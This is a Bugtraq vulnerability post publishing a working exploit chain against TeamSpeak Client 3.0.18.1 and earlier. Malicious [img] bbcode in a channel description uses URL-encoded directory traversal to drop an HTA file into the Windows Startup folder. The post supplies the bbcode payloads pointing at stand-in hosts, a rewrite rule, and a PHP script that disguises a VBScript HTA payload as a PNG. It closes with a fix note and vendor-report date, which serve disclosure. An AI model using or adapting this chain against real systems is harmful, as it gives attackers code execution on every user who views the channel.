TeamSpeak Client <= 3.0.18.1 RFI, Directory Traversal to RCE

From: scurippio@autistici.org
To: bugtraq@securityfocus.com
Cc:
Subject: TeamSpeak Client <= 3.0.18.1 RFI, Directory Traversal to RCE
Date:


Exploit Title: "PwnSpeak" a 0day Exploit for TeamSpeak Client <= 
3.0.18.1 RFI/ to RCE
Date: 12/⁠⁠10/⁠⁠2015
Author: Scurippio <scurippio@anche.no> /⁠⁠ (0x6FB30B11 my pgp keyid)
Vendor Homepage: https://www.teamspeak.com/
Application:  TeamSpeak 3
Version:  TeamSpeak3 Client 3.0.0 -⁠⁠ 3.0.18.1
Platforms:  Windows, Mac OS X and Linux
Exploitation: Remote
Risk : Very High

=========
The Bug
=========

The bug is a simple but Critical RFI(Remote File Inclusion), and in my 
test case on "Windows" you can reach remote code execution.
By changing the channel description you can insert a [img] bb tag with 
malicious content.

There are a few problems with the image caching on disk.

1: There is no check on file extension.

2: There is no file renaming, and you can fake the extension so you can 
create in the cache a malicious executable file like hta, scr, msi, pif, 
vbs etc.

     Example:

     [img] http://yourevilhost.com/thefile.hta [/⁠⁠img]
     [img] http://yourevilhost.com/thefile.msi [/⁠⁠img]
     [img] http://yourevilhost.com/thefile.vbs [/⁠⁠img]
     ...

3: Teamspeak 3 Client saves the image and recreates the same directory 
structure as the server where it's hosted.

     Example:

     
C:\Users\YourUser\AppData\Roaming\TS3Client\cache\remote\yourevilhost.com\thefile.hta
     
C:\Users\YourUser\AppData\Roaming\TS3Client\cache\remote\yourevilhost.com\thefile.msi
     
C:\Users\YourUser\AppData\Roaming\TS3Client\cache\remote\yourevilhost.com\thefile.vbs
     ...

4: It is possible to do a Directory Traversal with a simple urlencode of 
the traversal path bypassing the built-in control.
This is the critical hole, if you combine the previous vulnerabilities 
you can save a malicious file in any path on the OS with the same 
permissions as Teamspeak client.

     Example:

     
[img]http://evildomain.com/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cDesktop%5cOwnedByNonnOreste.hta[/img]

If you set this bbcode on a channel description every user that sees it 
will download a file named "OwnedByNonnOreste.hta" on their Desktop with 
0byte, you can also put images or other file extension!

The built-in image fetcher in the Teamspeak client checks the content 
type and the file header to check if the response is a real image, but 
you can easily bypass this control and put your exploit payload.

==========================================
Bypass /⁠⁠ Vector /⁠⁠ Payload
==========================================
To bypass the control and put arbitrary data in your malicious file you 
only need a web server and you can easily set the Rewrite rule for the 
Exploitation.

     Example:

     RewriteEngine On
     RewriteCond %{REQUEST_URI} !/⁠⁠faker.php
     RewriteRule .* /⁠⁠faker.php

Then you need to write a simple php script to fake the payload as a png 
by sending the right content type and file header.

     Example:

     <?php
     header ('Content-⁠⁠type: image/⁠⁠png');
     echo "\211PNG\r\n\032\n";
     ?>
     <html>
     <head>
     <title>PWN3D</⁠⁠title>
     <HTA:APPLICATION
       APPLICATIONNAME="OwnedByScurippio"
       ID="SnappySnappySna"
       VERSION="1.0"/⁠⁠>

     <script language="VBScript">

        Sub RunProgram
             Set objShell = CreateObject("Wscript.Shell")
             objShell.Run "calc.exe"
         End Sub
         RunProgram
     </⁠head>
     </⁠⁠script>
     </⁠⁠html>

If you save the file in the windows startup directory you can achieve a 
remote code execution.

     Example:

     
[img]http://example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cRoaming%5cMicrosoft%5cWindows%5cStart%20Menu%5cPrograms%5cStartup%5cWelcomeAndOwnedByNonnOreste.hta[/img]
     
[img]http://example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cRoaming%5cMicrosoft%5cWindows%5cStart%20Menu%5cPrograms%5cStartup%5cWelcomeAndOwnedByNonnOreste.hta[/img]

The HTA file is a prefect vector for this exploit, you can execute 
trusted vb script (shell command or anything else) and the png header 
doesn't compromise the markup language syntax.
At the next OS boot the victim will execute the malicious HTA file.

=======
Fix
=======

Update to beta channel or wait the 3.0.18.2 hotfix for this exploit!

======
Info
======

10/20/2015 - I have reported this Vulnerability to Teamspeak developers 
team

********** -⁠⁠ Realise the public exploit





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